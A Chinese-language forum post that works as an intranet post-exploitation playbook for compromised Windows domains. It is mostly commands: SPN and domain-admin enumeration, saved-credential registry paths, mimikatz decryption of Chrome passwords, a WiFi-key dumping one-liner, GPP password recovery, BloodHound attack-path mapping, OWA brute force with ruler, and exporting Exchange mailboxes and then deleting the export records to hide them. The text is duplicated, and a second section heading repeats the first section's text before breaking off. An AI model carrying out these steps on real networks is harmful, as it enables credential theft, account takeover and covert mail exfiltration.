taibeihacker
Moderator
0x01 信息收集
在攻陷一台機器後,不要一味的直接去抓取機器密碼、去做一些掃描內網的操作,因為如果網內有IDS等安全設備,有可能會造成報警,丟失權限。本節主要介紹當一台內網機器被攻破後,我們收集信息的一些手法。
1.1、SPNSPN:服務主體名稱。使用Kerberos須為服務器註冊SPN,因此可以在內網中掃描SPN,快速尋找內網中註冊的服務,SPN掃描可以規避像端口掃描的不確定性探測動作。主要利用工具有:setspn、GetUserSPNs.vbs和Rubeus。
a、利用Windows自帶的setspn工具,普通域用戶權限執行即可:
setspn -T domain.com -Q */*
在上述截圖中可以清晰的看到DCServer機器上運行了dns服務。如果網內存在mssql,利用SPN掃描也可以得到相應的結果。
b、利用GetUserSPNs.vbs也可以獲取spn結果:
c、Rubeus工具是Harmj0y開髮用於測試Kerberos的利用工具。
如下圖利用Rubeus查看哪些域用戶註冊了SPN,也為後續Kerberoasting做準備:
1.2、端口連接
利用netstat -ano命令獲取機器通信信息,根據通信的端口、ip可以獲取到如下信息。如果通信信息是入流量,則可以獲取到跳板機/堡壘機、管理員的PC來源IP、本地web應用端口等信息;如果通信信息是出流量,則可以獲取到敏感端口(redis、mysql、mssql等)、API端口等信息。
1.3、配置文件
一個正常的Web應用肯定有對應的數據庫賬號密碼信息,是一個不錯的寶藏。
可以使用如下命令尋找包含密碼字段的文件:
cd /web
findstr /s /m 'password' *.*
下面是常用應用的默認配置路徑:
a、
Tomcat:
CATALINA_HOME/conf/tomcat-users.xml
b、
Apache:
/etc/httpd/conf/httpd.conf
c、
Nginx:
/etc/nginx/nginx.conf
d、
Wdcp:
/www/wdlinux/wdcp/conf/mrpw.conf
e、
Mysql:
mysql\data\mysql\user.MYD
1.4、用戶信息
可以在網內收集用戶等信息,對高權限用戶做針對性的攻擊,包括定位到域控,對域控發起攻擊。
a、查看域用戶,普通域用戶權限即可:
net user /domain
b、查看域管理員:
net group 'domain admins' /domain
c、快速定位域控ip,一般是dns、時間服務器:
net time /domain
nslookup -type=all_ldap._tcp.dc._msdcs.jumbolab.com
d、查看域控制器:
net group 'domaincontrollers' /domain
1.5、內網主機發現
可以使用如下命令來達到內網主機的發現。
a、查看共享資料:
net view
b、查看arp表:
arp -a
c、查看hosts文件:
linux:
cat /etc/hosts
windows:
type c:\Windows\system32\drivers\etc\hosts
d、查看dns緩存:
ipconfig /displaydns
e、當然,利用一些工具也可以,比如nmap、nbtscan:
1.6、會話收集
在網內收集會話,如看管理員登錄過哪些機器、機器被誰登錄過,這樣攻擊的目標就會清晰很多。
可以使用NetSessionEnum api來查看其他主機上有哪些用戶登錄。
api相關介紹如下:
利用powershell腳本PowerView為例。
a、可以查看域用戶登錄過哪些機器:
b、也可以查看機器被哪些用戶登陸過:
其他工具、api類似。當有了上述信息後,就可以對發現到的域管或者登錄著域管的機器進行攻擊,只要能拿下這些機器,就可以有相應的權限去登錄域控。
1.7、憑據收集
拿下一台機器後,需要盡可能的收集信息。如下是幾個常用軟件保存密碼的註冊表地址,可以根據算法去解密保存的賬號密碼。
比如遠程連接憑據:
cmdkey/list
navicat:
MySQL
HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\your connection name
MariaDB
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\your connection name
MongoDB
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\your connection name
Microsoft SQL
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\your connection name
Oracle
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\your connection name
PostgreSQL
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\your connection name
SQLite
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\your connection name
SecureCRT:
xp/win2003
C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions
win7/win2008以上
C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions
Xshell 5Xshell:
%userprofile%\Documents\NetSarang\Xshell\Sessions
Xshell 6
%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
HKCU\Software\Martin Prikryl\WinSCP 2\SessionsWinSCP:
RealVNC
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver
Password
TightVNC
HKEY_CURRENT_USER\Software\TightVNC\Server Value
Password or PasswordViewOnly
TigerVNC
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4
Password
UltraVNC
C:\Program Files\UltraVNC\ultravnc.ini
passwd or passwd2
1.8、DPAPIVNC:
DPAPI,由微軟從Windows 2000開始發布,稱為Data ProtectionApplication Programming Interface(DPAPI)。其分別提供了加密函數CryptProtectData 與解密函數CryptUnprotectData 。
其作用範圍包括且不限於:
outlook客戶端密碼
windowscredential憑據
chrome保存的密碼憑據
internetexplorer密碼憑據
DPAPI採用的加密類型為對稱加密,存放密鑰的文件則被稱之為Master Key Files,其路徑一般為%APPDATA%\Microsoft\Protect\{SID}\{GUID}。其中{SID}為用戶的安全標識符,{GUID}為主密鑰名稱。我們可以利用用戶的密碼/hash或域備份密鑰解密主密鑰,然後解密被dpapi加密的數據。
相關的介紹如下:
在滲透中,可以利用mimikatz做到自動化的數據解密:
a、解密Chrome密碼:
mimikatz dpapi:chrome /in:'%localappdata%\Google\Chrome\User Data\Default\Login Data' /unprotect
mimikatz vault:cred /patchb、解密Credential:
信任關係是連接在域與域之間的橋樑。當一個域與其他域建立了信任關係後,2個域之間不但可以按需要相互進行管理,還可以跨網分配文件和打印機等設備資源,使不同的域之間實現網絡資源的共享與管理。 1.9、域信任
查看域信任:
nltest /domain_trusts
上述結果顯示child.jumbolab.com和jumbolab.com兩個域是雙向信任的。
1.10、域傳送
當存在域傳送漏洞時,可以獲取域名解析記錄。當有了解析記錄後,也能提高對網絡環境的進一步認知,比如www解析的ip段可能在dmz區,mail解析的ip段可能在核心區域等等。
windows:
nslookup -type=ns domain.com
nslookup
sserver dns.domain.com
ls domain.com
dig @dns.domain.com axfr domain.com
1.11、DNS記錄獲取linux:
在網內收集dns記錄,可以快速定位一些機器、網站。常用工具有Dnscmd、PowerView。
a、在windows server上,可以使用Dnscmd工具獲取dns記錄。
獲取dns記錄:
Dnscmd. /ZonePrint jumbolab.com
Dnscmd. /EnumRecords jumbolab.com .
b、在非windows server機器上,可以使用PowerView獲取。
import-module PowerView.ps1
Get-DNSRecord -ZoneName jumbolab.com
1.12、WIFI
通過如下命令獲取連接過的wifi密碼:
for /f 'skip=9 tokens=1,2 delims=:' %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
1.13、GPP
當分發組策略時,會在域的SYSVOL目錄下生成一個gpp配置的xml文件,如果在配置組策略時填入了密碼,則其中會存在加密過的賬號密碼。這些密碼,往往都是管理員的密碼。
其中xml中的密碼是aes加密的,密鑰已被微軟公開:
可以使用相關腳本進行解密,如:
域用戶登錄腳本存在目錄也會存在敏感文件:
\\domain\Netlogon
1.14、Seatbelt
可以利用Seatbelt工具做一些自動化的信息收集,收集的信息很多,包括不限於google歷史記錄、用戶等等:
當有了chrome的訪問歷史時,就可以知道該用戶訪問的一些內部站點的域名/IP,可以提高內網資產產的摸索效率。
1.15、Bloodhound
我們可以利用Bloodhound做一些自動化的信息收集,包括用戶、計算機、組織架構、最快的攻擊途徑等。但是自動化也意味著告警,該漏洞做自動化信息收集時,會在內網設備上產生大量的告警,按需使用。
執行:
SharpHound.exe -c all
運行完畢會生成一個zip壓縮包,名字類似於20200526201154_BloodHound。
導入Bloodhound後可以做可視化分析:
比較常用的就是尋找攻擊域控的最快途徑了:
如下圖,我們知道,如果拿下hand用戶後,就可以獲取到域控權限:
1.16、Exchange
exchange一般都在域內的核心位置上,包括甚至安裝在域控服務器上,因此我們需要多多關注exchange的相關漏洞,如果拿下exchange機器,則域控也不遠了。
1.16.1 郵箱用戶密碼爆破
使用ruler工具對owa接口進行爆破:
./ruler --domain targetdomain.com brute --users /path/to/user.txt --passwords /path/to/passwords.txt
ruler工具會自動搜索owa可以爆破的接口,如:
其他如ews接口也存在被暴力破解利用的風險:
1.16.2 通訊錄收集
在獲取一個郵箱賬號密碼後,可以使用MailSniper收集通訊錄,當拿到通訊錄後,可以再次利用上述爆破手段繼續嘗試弱密碼,但是記住,密碼次數不要太多,很有可能會造成域用戶鎖定:
Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt
1.16.3 信息收集
當我們拿下exchange服務器後,可以做一些信息收集,包括不限於用戶、郵件。
獲取所有郵箱用戶:
Get-Mailbox
導出郵件:
New-MailboxexportRequest -mailbox username -FilePath ('\\localhost\c$\test\username.pst')
也可以通過web口導出,登錄:
導出後會有記錄,用如下命令可以查看:
Get-MailboxExportRequest
刪除某個導出記錄:
Remove-MailboxExportRequest -Identity 'username\mailboxexport' -Confirm:$false
0x02 傳輸
在攻陷一台機器後,不要一味的直接去抓取機器密碼、去做一些掃描內網的操作,因為如果網內有IDS等安全設備,有可能會造成報警,丟失權限。本節主要介紹當一台內網機器被攻破後,我們收集信息的一些手法。
1.1、SPNSPN:服務主體名稱。使用Kerberos須為服務器註冊SPN,因此可以在內網中掃描SPN,快速尋找內網中註冊的服務,SPN掃描可以規避像端口掃描的不確定性探測動作。主要利用工具有:setspn、GetUserSPNs.vbs和Rubeus。
a、利用Windows自帶的setspn工具,普通域用戶權限執行即可:
setspn -T domain.com -Q */*

在上述截圖中可以清晰的看到DCServer機器上運行了dns服務。如果網內存在mssql,利用SPN掃描也可以得到相應的結果。
b、利用GetUserSPNs.vbs也可以獲取spn結果:

c、Rubeus工具是Harmj0y開髮用於測試Kerberos的利用工具。
如下圖利用Rubeus查看哪些域用戶註冊了SPN,也為後續Kerberoasting做準備:

1.2、端口連接
利用netstat -ano命令獲取機器通信信息,根據通信的端口、ip可以獲取到如下信息。如果通信信息是入流量,則可以獲取到跳板機/堡壘機、管理員的PC來源IP、本地web應用端口等信息;如果通信信息是出流量,則可以獲取到敏感端口(redis、mysql、mssql等)、API端口等信息。
1.3、配置文件
一個正常的Web應用肯定有對應的數據庫賬號密碼信息,是一個不錯的寶藏。
可以使用如下命令尋找包含密碼字段的文件:
cd /web
findstr /s /m 'password' *.*
下面是常用應用的默認配置路徑:
a、
Tomcat:
CATALINA_HOME/conf/tomcat-users.xml
b、
Apache:
/etc/httpd/conf/httpd.conf
c、
Nginx:
/etc/nginx/nginx.conf
d、
Wdcp:
/www/wdlinux/wdcp/conf/mrpw.conf
e、
Mysql:
mysql\data\mysql\user.MYD
1.4、用戶信息
可以在網內收集用戶等信息,對高權限用戶做針對性的攻擊,包括定位到域控,對域控發起攻擊。
a、查看域用戶,普通域用戶權限即可:
net user /domain

b、查看域管理員:
net group 'domain admins' /domain

c、快速定位域控ip,一般是dns、時間服務器:
net time /domain


nslookup -type=all_ldap._tcp.dc._msdcs.jumbolab.com

d、查看域控制器:
net group 'domaincontrollers' /domain

1.5、內網主機發現
可以使用如下命令來達到內網主機的發現。
a、查看共享資料:
net view
b、查看arp表:
arp -a
c、查看hosts文件:
linux:
cat /etc/hosts
windows:
type c:\Windows\system32\drivers\etc\hosts
d、查看dns緩存:
ipconfig /displaydns

e、當然,利用一些工具也可以,比如nmap、nbtscan:

1.6、會話收集
在網內收集會話,如看管理員登錄過哪些機器、機器被誰登錄過,這樣攻擊的目標就會清晰很多。
可以使用NetSessionEnum api來查看其他主機上有哪些用戶登錄。
api相關介紹如下:

NetSessionEnum function (lmshare.h) - Win32 apps
Provides information about sessions established on a server.
docs.microsoft.com
a、可以查看域用戶登錄過哪些機器:

b、也可以查看機器被哪些用戶登陸過:

其他工具、api類似。當有了上述信息後,就可以對發現到的域管或者登錄著域管的機器進行攻擊,只要能拿下這些機器,就可以有相應的權限去登錄域控。
1.7、憑據收集
拿下一台機器後,需要盡可能的收集信息。如下是幾個常用軟件保存密碼的註冊表地址,可以根據算法去解密保存的賬號密碼。
比如遠程連接憑據:
cmdkey/list
navicat:
MySQL
HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\your connection name
MariaDB
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\your connection name
MongoDB
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\your connection name
Microsoft SQL
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\your connection name
Oracle
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\your connection name
PostgreSQL
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\your connection name
SQLite
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\your connection name
SecureCRT:
xp/win2003
C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions
win7/win2008以上
C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions
Xshell 5Xshell:
%userprofile%\Documents\NetSarang\Xshell\Sessions
Xshell 6
%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
HKCU\Software\Martin Prikryl\WinSCP 2\SessionsWinSCP:
RealVNC
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver
Password
TightVNC
HKEY_CURRENT_USER\Software\TightVNC\Server Value
Password or PasswordViewOnly
TigerVNC
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4
Password
UltraVNC
C:\Program Files\UltraVNC\ultravnc.ini
passwd or passwd2
1.8、DPAPIVNC:
DPAPI,由微軟從Windows 2000開始發布,稱為Data ProtectionApplication Programming Interface(DPAPI)。其分別提供了加密函數CryptProtectData 與解密函數CryptUnprotectData 。
其作用範圍包括且不限於:
outlook客戶端密碼
windowscredential憑據
chrome保存的密碼憑據
internetexplorer密碼憑據
DPAPI採用的加密類型為對稱加密,存放密鑰的文件則被稱之為Master Key Files,其路徑一般為%APPDATA%\Microsoft\Protect\{SID}\{GUID}。其中{SID}為用戶的安全標識符,{GUID}為主密鑰名稱。我們可以利用用戶的密碼/hash或域備份密鑰解密主密鑰,然後解密被dpapi加密的數據。
相關的介紹如下:

How to: Use Data Protection - .NET
Learn how to use data protection by accessing the data protection API (DPAPI) in .NET.
docs.microsoft.com
a、解密Chrome密碼:
mimikatz dpapi:chrome /in:'%localappdata%\Google\Chrome\User Data\Default\Login Data' /unprotect
mimikatz vault:cred /patchb、解密Credential:
信任關係是連接在域與域之間的橋樑。當一個域與其他域建立了信任關係後,2個域之間不但可以按需要相互進行管理,還可以跨網分配文件和打印機等設備資源,使不同的域之間實現網絡資源的共享與管理。 1.9、域信任
查看域信任:
nltest /domain_trusts

上述結果顯示child.jumbolab.com和jumbolab.com兩個域是雙向信任的。
1.10、域傳送
當存在域傳送漏洞時,可以獲取域名解析記錄。當有了解析記錄後,也能提高對網絡環境的進一步認知,比如www解析的ip段可能在dmz區,mail解析的ip段可能在核心區域等等。
windows:
nslookup -type=ns domain.com
nslookup
sserver dns.domain.com
ls domain.com
dig @dns.domain.com axfr domain.com
1.11、DNS記錄獲取linux:
在網內收集dns記錄,可以快速定位一些機器、網站。常用工具有Dnscmd、PowerView。
a、在windows server上,可以使用Dnscmd工具獲取dns記錄。
獲取dns記錄:
Dnscmd. /ZonePrint jumbolab.com

Dnscmd. /EnumRecords jumbolab.com .

b、在非windows server機器上,可以使用PowerView獲取。
import-module PowerView.ps1
Get-DNSRecord -ZoneName jumbolab.com

1.12、WIFI
通過如下命令獲取連接過的wifi密碼:
for /f 'skip=9 tokens=1,2 delims=:' %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
1.13、GPP
當分發組策略時,會在域的SYSVOL目錄下生成一個gpp配置的xml文件,如果在配置組策略時填入了密碼,則其中會存在加密過的賬號密碼。這些密碼,往往都是管理員的密碼。
其中xml中的密碼是aes加密的,密鑰已被微軟公開:

[MS-GPPREF]: Password Encryption
All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.<3> The 32-byte AES key is as follows:
docs.microsoft.com
域用戶登錄腳本存在目錄也會存在敏感文件:
\\domain\Netlogon
1.14、Seatbelt
可以利用Seatbelt工具做一些自動化的信息收集,收集的信息很多,包括不限於google歷史記錄、用戶等等:

1.15、Bloodhound
我們可以利用Bloodhound做一些自動化的信息收集,包括用戶、計算機、組織架構、最快的攻擊途徑等。但是自動化也意味著告警,該漏洞做自動化信息收集時,會在內網設備上產生大量的告警,按需使用。
執行:
SharpHound.exe -c all
運行完畢會生成一個zip壓縮包,名字類似於20200526201154_BloodHound。
導入Bloodhound後可以做可視化分析:

比較常用的就是尋找攻擊域控的最快途徑了:

如下圖,我們知道,如果拿下hand用戶後,就可以獲取到域控權限:

1.16、Exchange
exchange一般都在域內的核心位置上,包括甚至安裝在域控服務器上,因此我們需要多多關注exchange的相關漏洞,如果拿下exchange機器,則域控也不遠了。
1.16.1 郵箱用戶密碼爆破
使用ruler工具對owa接口進行爆破:
./ruler --domain targetdomain.com brute --users /path/to/user.txt --passwords /path/to/passwords.txt
ruler工具會自動搜索owa可以爆破的接口,如:
其他如ews接口也存在被暴力破解利用的風險:
1.16.2 通訊錄收集
在獲取一個郵箱賬號密碼後,可以使用MailSniper收集通訊錄,當拿到通訊錄後,可以再次利用上述爆破手段繼續嘗試弱密碼,但是記住,密碼次數不要太多,很有可能會造成域用戶鎖定:
Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt
1.16.3 信息收集
當我們拿下exchange服務器後,可以做一些信息收集,包括不限於用戶、郵件。
獲取所有郵箱用戶:
Get-Mailbox
導出郵件:
New-MailboxexportRequest -mailbox username -FilePath ('\\localhost\c$\test\username.pst')
也可以通過web口導出,登錄:
導出後會有記錄,用如下命令可以查看:
Get-MailboxExportRequest
刪除某個導出記錄:
Remove-MailboxExportRequest -Identity 'username\mailboxexport' -Confirm:$false
0x02 傳輸